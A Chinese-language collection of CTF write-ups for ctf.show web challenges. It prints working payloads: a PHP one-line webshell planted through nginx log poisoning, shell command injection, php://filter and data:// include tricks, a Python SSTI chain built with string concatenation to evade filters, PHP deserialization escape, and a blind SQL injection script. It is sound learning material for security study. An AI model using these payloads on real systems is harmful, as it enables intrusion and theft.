签到_观己--日志包含
打开环境
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match('/php/i', $file)){
die('error');
}else{
include($file);
}
}else{
highlight_file(__FILE__);
}
?>
查看日志文件
/?file=/var/log/nginx/access.log
得到日志文件
在UA头里写下一句话木马
<?php eval($_POST['cmd']);?>
然后再发送,因为我传了很多次的一句话木马,所以添加了很多条日志信息
进行POST传参
cmd=system('ls');
cmd=system('ls /');
cmd=system('cat /flag.txt');
web1_观字
<?php
#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
$url = $_GET['url'];
$protocol = substr($url, 0,7);
if($protocol!='http://'){
die('仅限http协议访问');
}
if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
die('仅限域名地址访问');
}
system('curl '.$url);
}
代码审计,已经给了提示flag在http://192.168.7.68/flag里,使用HTTP访问即可,同时这儿我们要绕过他的黑名单
/?url=http://192.168.7.68/flag
我们发现.被过滤了,我们可以使用特殊字符代替,或者使用句号(。)代替
/?url=http://192。168。7。68/flag
题外话: substr()函数
substr() [1]函数返回字符串的一部分。
如果 参数start 是负数且 length 小于或等于 start,则 length 为 0。
不知所措.jpg
打开环境
在变量$file里必须有test,使用GET传参试一试
?file=test
?file=testphp
他自动给我们在后面加了一个php
?file=test.
他说flag不在这儿。。。用php://filter协议看看test.php的源码
?file=php://filter/read=convert.base64-encode/resource=test.
试试看index.php,但是呢,file里必须包含test
关于php://filter语法:
一般语法是
php://filter/read(或是write)=xxxxx/resource=xxx.php
那我们就可以在/resource前面乱写呢,他是进行关键字匹配的,那再关键字之外的内容我们可以随便写咯
php://filter/read(或是write)=xxxxx(这儿想写什么都行)/resource=xxx.php
尝试构造url
?file=php://filter/read=convert.base64-encode/test/resource=index.
得到源码
<?php
error_reporting(0);
$file=$_GET['file'];
$file=$file.'php';
echo $file."<br />";
if(preg_match('/test/is',$file)){
include ($file);
}else{
echo '$file must has test';
}
?>
看到了include ($file);
我们使用data://text/plain来构造命令执行
/?file=data://test/plain,<?php @eval(system('ls'));?>
/?file=data://test/plain,<?php @eval(system('ls /'));?>
?file=data://test/plain,<?php @eval(system('cat /FFFFFFFL@GGGG'));?>
web2_故人心
打开环境得到源码
<?php
// 关闭错误报告,防止信息泄露
error_reporting(0);
// 高亮显示当前文件的源码
highlight_file(__FILE__);
// 从 GET 请求获取参数 a, b, c
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_GET['c'];
// 从 POST 请求获取参数 url
$url[1] = $_POST['url'];
// 验证参数 $a 是否满足以下条件:
// 1. 是数字
// 2. 长度小于 7
// 3. 不等于 0
// 4. 平方等于 0
if (is_numeric($a) and strlen($a) < 7 and $a != 0 and $a ** 2 == 0) {
// 验证参数 $b 和 $c 是否满足哈希条件
// $b 等于其自身的 MD2 哈希值
// $c 等于其 MD2 哈希值再进行一次 MD2 哈希后的结果
$d = ($b == hash("md2", $b)) && ($c == hash("md2", hash("md2", $c)));
// 如果 $d 为真,表示 $b 和 $c 满足哈希条件
if ($d) {
// 显示 hint.php 文件的源码
highlight_file('hint.php');
// 验证 $url[1] 是否是有效的 URL
if (filter_var($url[1], FILTER_VALIDATE_URL)) {
// 解析 URL,获取主机部分
$host = parse_url($url[1]);
print_r($host);
// 检查主机是否以 ctfshow.com 结尾
if (preg_match('/ctfshow\.com$/', $host['host'])) {
// 如果是,读取并显示该 URL 的内容
print_r(file_get_contents($url[1]));
} else {
// 否则,提示差点成功
echo '差点点就成功了!';
}
} else {
// 如果 URL 无效,提示需要提供 URL
echo 'please give me url!!!';
}
} else {
// 如果 $b 和 $c 不满足哈希条件,提示用户思考哈希碰撞原理
echo '想一想md5碰撞原理吧?!';
}
} else {
// 如果 $a 的验证失败,提示用户第一个条件都没有通过
echo '第一个都过不了还想要flag呀?!';
}
?>
第一关:
php小数点后超过161位做平方运算时会被截断,我们可以构造特别小的数字进行绕过,0.000000000000000000000000000000000000000000000001
可以绕过但是这里限制了长度,所以我们就可以通过科学计数法来绕过
a=1e-162
第二关:
题目给了提示
访问robots.txt
接着访问hinthint.txt
Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))
MD2 算法特别难破解吗?悄悄告诉你,我看到了作者的payload,但数字不清楚。祝你玩得开心~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))
给了提示,关于前两位都知道是0e,我们通过脚本来爆破
<?php
// 通过循环尝试生成符合条件的 $b
// 循环范围从 100 到 999
for ($i = 100; $i < 999; $i++) {
// 将 $b 设置为 "0e" 加上循环变量 $i 和 "024452"
$b = "0e" . $i . "024452";
// 检查 $b 是否等于其 MD2 哈希值
if ($b == hash("md2", $b)) {
// 如果相等,输出 $b
echo $b;
}
}
echo "\n"; // 输出一个换行符
// 通过循环尝试生成符合条件的 $c
// 循环范围从 1000 到 9999
for ($i = 1000; $i < 9999; $i++) {
// 将 $c 设置为 "0e" 加上循环变量 $i 和 "48399"
$c = "0e" . $i . "48399";
// 检查 $c 是否等于其 MD2 哈希值再进行一次 MD2 哈希后的结果
if ($c == hash("md2", hash("md2", $c))) {
// 如果相等,输出 $c
echo $c;
}
}
?>
得到
0e652024452
0e603448399
构造url访问成功
第三关:
file_get_contents函数使用不存在的协议名导致目录穿越,实现SSRF
php源码中,在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录。
它还要求了我们构造的url中含有ctfshow.com,因此我们可以构造
url=abc://ctfshow.com/../../../fl0g.txt
一层层构造
url=abc://ctfshow.com/../../../../../fl0g.txt
1024_fastapi
打开环境,页面回显一个JSON数据
关于FastAPI
FastAPI 是一个高性能 Web 框架,用于构建 API。
主要特性:
- 快速:非常高的性能,与 NodeJS 和 Go 相当
- 快速编码:将功能开发速度提高约 200% 至 300%
- 更少的错误:减少约 40% 的人为错误
- 直观:强大的编辑器支持,自动补全无处不在,调试时间更少
- 简易:旨在易于使用和学习,减少阅读文档的时间。
- 简短:减少代码重复。
- 稳健:获取可用于生产环境的代码,具有自动交互式文档
- 基于标准:基于并完全兼容 API 的开放标准 OpenAPI 和 JSON Schema
对于fastapi,网页会存在自述文档文件/docs
发现有POST传参的/cccalccc页面,还提示了提示需要POST参数q
执行操作,我们访问/cccalccc然后传入参数P,因为fastapi是基于Python的,所以我们可以传入一些Python函数
q=str([].__class__)
接下来我们一步一步构造SSTI注入
q=str([].__class__.__mro__[-1])
q=str([].__class__.__mro__[-1].__subclasses__()[189])
q=str([].__class__.__mro__[-1].__subclasses__()[189].__init__)
q=str([].__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['eval'])
q=eval(1+1)
发现eval函数不能用,可能是被过滤了,我们使用Python的加号拼接字符串绕过
q=str([].__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al'])
q=str([].__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__import__("os").popen("whoami").read()'))
嗯。。。。_import_和open被过滤了,继续使用字符串拼接进行绕过
q=str([].__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__imp'+'ort__("os").po'+'pen("whoami").read()'))
q=str([].__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__imp'+'ort__("os").po'+'pen("ls").read()'))
q=str([].__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__imp'+'ort__("os").po'+'pen("grep flag main.py").read()'))
q=str([].__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__imp'+'ort__("os").po'+'pen("cat /mnt/f1a9").read()'))
CTF.show:web1_此夜圆_web1此夜圆-优快云博客
字符串逃逸基础
目的:
改变序列化字符串的长度,导致反序列化漏洞,通过替换序列化后字符串中某一个内容,导致某一串字符串变成了字符内容(个人理解,多多包含!)
特点:
- php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化。
- 总是先进行序列化,再进行替换修改操作。
函数:str_replace()
str_replace()函数用于在字符串中替换指定的内容
str_replace($search, $replace, $subject, $count);
$search:要被替换的字符串或字符串数组;
$replace:用于替换的字符串或字符串数组;
- $subject:需要进行替换操作的字符串或字符串数组;
- $count(可选):用于储存替换的次数。
基础:
1、反序列化结束符
反序列化以;}结束,后面的字符串不影响正常的反序列化,当然如果;}在成员属性中那么;}只能算是字符串,不能算是字符串
$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";s:5:"b;}en";}';
就像在这种情况中,v2=b;}en的,其中;}不具有结束功能的
2、成员属性数量
成员属性数量需要与实际的成员属性数量对应
<?php
class A{
var $v1 = 'a'; //预定义里只有一个成员属性
}
echo serialize(new A());
$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"ben";}'; //但这里增加了属性v2
var_dump(unserialize($b));
----------------------------------------------------------
O:1:"A":1:{s:2:"v1";s:1:"a";}
bool(false) //报错
我们只定义了一个成员属性v1,但是在$b里我们又增加了一个成员属性v2,这是不允许的,所以在输出的时候出现了报错,当然如果我们把
当然如果我们把
$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"ben";}';
改为
$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"ben";}';
那么他是正确的,会正常输出
3、字符串长度
成员属性字符串的长度必须与实际长度一致
O:1:"A":1:{s:2:"v1";s:3:"a"b";}
其中"是字符还是格式符号由字符串长度3来判断,这儿a和b之间的"是字符串,包裹ab的“是格式符号
例题
CTFSHOW--web1_此夜圆--字符串逃逸(增多)
打开环境什么都没有,下载附件index.php得到源码
index.php
<?php
// 禁用错误报告,以防止错误信息泄露
error_reporting(0);
// 定义一个类 a
class a
{
public $uname;
public $password;
// 构造函数,用于初始化对象的属性
public function __construct($uname, $password)
{
$this->uname = $uname;
$this->password = $password;
}
// 魔术方法 __wakeup,在对象反序列化时自动调用
public function __wakeup()
{
// 检查密码是否为 'yu22x'
if ($this->password === 'yu22x')
{
// 包含 'flag.php' 文件并输出 $flag 变量的值
include('flag.php');
echo $flag;
}
else
{
// 如果密码错误,输出 'wrong password'
echo 'wrong password';
}
}
}
// 定义一个过滤函数,用于替换字符串中的 'Firebasky' 为 'Firebaskyup'
function filter($string) {
return str_replace('Firebasky', 'Firebaskyup', $string);
}
// 获取 URL 参数中的 uname 值
$uname = $_GET[1];
$password = 1; // 设置密码为1
// 序列化新的 a 类对象并通过 filter 函数进行过滤
$ser = filter(serialize(new a($uname, $password)));
// 反序列化过滤后的字符串,并触发 __wakeup 方法
$test = unserialize($ser);
?>
只能get传入一个1参数,最后经反序列化后password==='yu22x’就能拿到flag。而1参数赋值给的是$uname,这里就涉及到了反序列化逃逸 。
在这一串中,将Firebasky替换为 Firebaskyup,多了两个字符
因为我们只能读入一个uname
,而原来的password
默认为1,试着构造
<?php
class a
{
public $uname='Firebasky";s:8:"password";s:5:"yu22x";}';
public $password=1;
}
$test=new a();
echo serialize($test)
?>
O:1:"a":2:{s:5:"uname";s:39:"Firebasky";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}
序列化之后,Firebasky替换为 Firebaskyup,那么uname里的字符串长度就变成41了,这个就会报错。其中,我们需要用";s:8:"password";s:5:"yu22x";}"把原来的s:8:"password";i:1;}给覆盖掉,那么就使得password=yu22x了,并且;}结束语句后,后面的s:8:"password";i:1;}也就没有用了
";s:8:"password";s:5:"yu22x";}" 一共有30个字符,而Firebasky替换为 Firebaskyup是多两个字符,那么我们就要构造15个Firebasky,来填充这30个字符,从而使";s:8:"password";s:5:"yu22x";}"变成字符串内容,覆盖了之前的s:8:"password";i:1;},并且s:8:"password";i:1;}变成了功能字符,没有作用,可有可无了
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
给她
打开环境
以为是SQL注入,尝试输入SQL语句/?name=asd',发现被转义了
题目是给她,和git很相似,使用dirsearch扫一扫
dirsearch -u https://ffc0949e-cfc8-48c6-9e8e-229c5a937943.challenge.ctf.show/
发现git泄露,使用GITHACK工具
python2 GitHack.py https://ffc0949e-cfc8-48c6-9e8e-229c5a937943.challenge.ctf.show/git/
扫到一个hit.php
<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>
关于sprintf函数:
php sprintf 漏洞,解析php sprintf函数漏洞-优快云博客
sprintf
函数使用switch case
对15种类型做了匹配,包括%s、%d、%u…但如果在15种类型之外就会直接break。
当我们输入%\
或%1$\
时,sprintf
会把反斜杠当做格式化字符串的类型,但他们并不在15种类型之中,就会未经任何处理而被替换为空
addslashes()函数:
addslashes() 函数在指定的预定义字符前添加反斜杠。这些字符是单引号(")、双引号(“”)、反斜线(\\)与NUL(NULL字符)
我们还可以看到addslashes()函数进行了过滤,所以我们构造绕过
?name=1&pass=%1$' or 1=1--+
他说There's nothing here,查看一下源代码
我们之间访问/flag,没什么用,抓包看一看
在cookie里发现了file,讲file的值进行16进制转换
发现它访问的是flag.txt,但是flag在/flag里,我们构造/flag的16进制
2f666c6167
修改file的值为2f666c6167,得到flag
签到题
https://www.cnblogs.com/dirt2/p/5991033.html
打开得到源码
<?php
if(isset($_GET['url'])){
system("curl https://".$_GET['url'].".ctf.show");
}else{
show_source(__FILE__);
}
?>
我们使用分号,执行多个命令来进行绕过
/?url=;ls;
/?url=;cat flag;
假赛生
PHP: preg_replace_callback - Manual
提示:register.php login.php 大佬们别扫了
打开环境,得到源码
<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
show_source("index.php");
}else{
$name=$_SESSION['name'];
$sql='select pass from user where name="'.$name.'"';
echo $sql."<br />";
system('4rfvbgt56yhn.sh');
$query=mysqli_query($conn,$sql);
$result=mysqli_fetch_assoc($query);
if($name==='admin'){
echo "admin!!!!!"."<br />";
if(isset($_GET['c'])){
preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
echo $flag;
}else{
echo "you not admin";
}
}
}
?>
简单审计一下,大概意思就是需要$name=admin,并且还要通过get传参c,且要绕过正则表达式\w和\W
\w 匹配包括下划线的任何单词字符。等价于“[A-Za-z0-9_]"。
\W 匹配任何非单词字符。等价于“[^A-Za-z0-9_]"。
[\s]表示,只要出现空白就匹配
[\S]表示,非空白就匹配
(这儿我们使用空格绕过就行了)
注意有两个界面register.php和login.php
我们进入register.php注册一下admin/123
发现被屏蔽了,空格绕过就行(sql注入特点:当最后为空格时会过滤掉空格。)admin /123
注册成功,去登录界面登录admin/123
登录成功,这儿我们需要进行绕过c,我们不输入值即可绕过
萌新记忆 (还不是很明白)
打开环境,查看源代码也没有看到什么有用的信息,抓包看一看,也没发现,扫一扫后台
扫到admin界面,访问
进入了一个登录界面
输入admin/123看一下
提示密码错误,输入admin'/123
用户名/密码错误,猜测用户名就是admin,抓包看一看
发现POST两个参数,u&p
发现SQL注入漏洞,FUZZ一下,发现=,or,union,select,insert,update等敏感字符均被过滤了,但是,没有过滤过滤关键的’,因为and,or都过滤了,我们可以使用||来代替or来实现一个bool的盲注。
u='||'a'<'b'||'&p=1
这儿是因为’a’<'b’始终成立所以它默认我们的账号是正确的,接着构造
u='||'a'>'b'||'&p=1
发现了第三种回显,这儿不明白这个什么意思,看大佬们的WP总结了一下
确定存在admin用户,接下来我们要去才p的长度
u='||length(p)<1||'&p=1
u='||length(p)<2||'&p=1
u='||length(p)<3||'&p=1
.....
u='||length(p)<17||'&p=1
最后确定长度为17
接下来直接用脚本爆密码
import requests
import re
# 目标URL,用于发送POST请求
url = 'http://cfa5d41a-3048-4463-84c7-b13d2d9fb4d7.challenge.ctf.show/admin/checklogin.php'
# 初始化用于保存字母的列表
pp = []
# 初始化保存flag的字符串
flag = ''
# 生成字母列表,包含a到z的小写字母
for i in range(97, 123):
pp.append(chr(i))
# 尝试破解的字符串的最大长度,这里假设为17
for i in range(1, 18):
for j in range(len(pp)):
# 构造SQL注入payload,猜测字符串的第i个字符
payload = "'||substr(p,{},1)<'{}".format(i, pp[j])
# 构造POST请求的数据,其中'u'是注入点,'p'是固定值
data = {
'u': payload,
'p': 1
}
# 发送POST请求
res = requests.post(url=url, data=data)
# 判断返回的响应是否为“密码错误”,以确定当前猜测字符是否正确
if "密码错误" == res.text:
# 如果当前字符猜测正确,将其添加到flag中
flag += pp[j - 1]
print(flag)
break
得到密码 cptbtptpbcptdtptp,登录拿到flag